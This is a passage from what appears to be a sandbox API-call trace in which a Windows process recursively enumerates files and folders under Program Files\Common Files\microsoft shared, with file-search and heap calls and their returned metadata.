ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x400, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0092.282] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x400, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0092.282] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x400, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0092.282] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x400, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0092.282] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x400, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0092.282] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x400, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0092.282] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x400, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0092.282] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x400, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x400, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x400, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x400, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x400, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x400, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x400, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x400, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0092.283] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x400, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0092.284] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.285] GetProcessHeap () returned 0xc00000 [0092.286] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.286] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="TextConv", cAlternateFileName="")) returned 1 [0092.286] GetProcessHeap () returned 0xc00000 [0092.286] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.286] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.286] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.287] GetProcessHeap () returned 0xc00000 [0092.287] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e96e0 [0092.287] FindNextFileW (in: hFindFile=0x37e96e0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0092.288] FindNextFileW (in: hFindFile=0x37e96e0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 0 [0092.288] FindClose (in: hFindFile=0x37e96e0 | out: hFindFile=0x37e96e0) returned 1 [0092.289] GetProcessHeap () returned 0xc00000 [0092.289] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.289] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="en-US", cAlternateFileName="")) returned 0 [0092.289] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.289] GetProcessHeap () returned 0xc00000 [0092.289] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.291] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="Triedit", cAlternateFileName="")) returned 1 [0092.291] GetProcessHeap () returned 0xc00000 [0092.291] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.306] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.307] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.307] GetProcessHeap () returned 0xc00000 [0092.307] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e8e20 [0092.308] FindNextFileW (in: hFindFile=0x37e8e20, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0092.309] FindNextFileW (in: hFindFile=0x37e8e20, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 0 [0092.309] FindClose (in: hFindFile=0x37e8e20 | out: hFindFile=0x37e8e20) returned 1 [0092.309] GetProcessHeap () returned 0xc00000 [0092.309] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.309] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="en-US", cAlternateFileName="")) returned 0 [0092.309] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.309] GetProcessHeap () returned 0xc00000 [0092.309] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.311] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="VC", cAlternateFileName="")) returned 1 [0092.311] GetProcessHeap () returned 0xc00000 [0092.311] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.313] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.313] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x400, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0092.313] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x400, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0092.314] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x400, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0092.314] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.314] GetProcessHeap () returned 0xc00000 [0092.314] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.314] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="VGX", cAlternateFileName="")) returned 1 [0092.314] GetProcessHeap () returned 0xc00000 [0092.314] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.314] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.314] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x400, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0092.314] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, 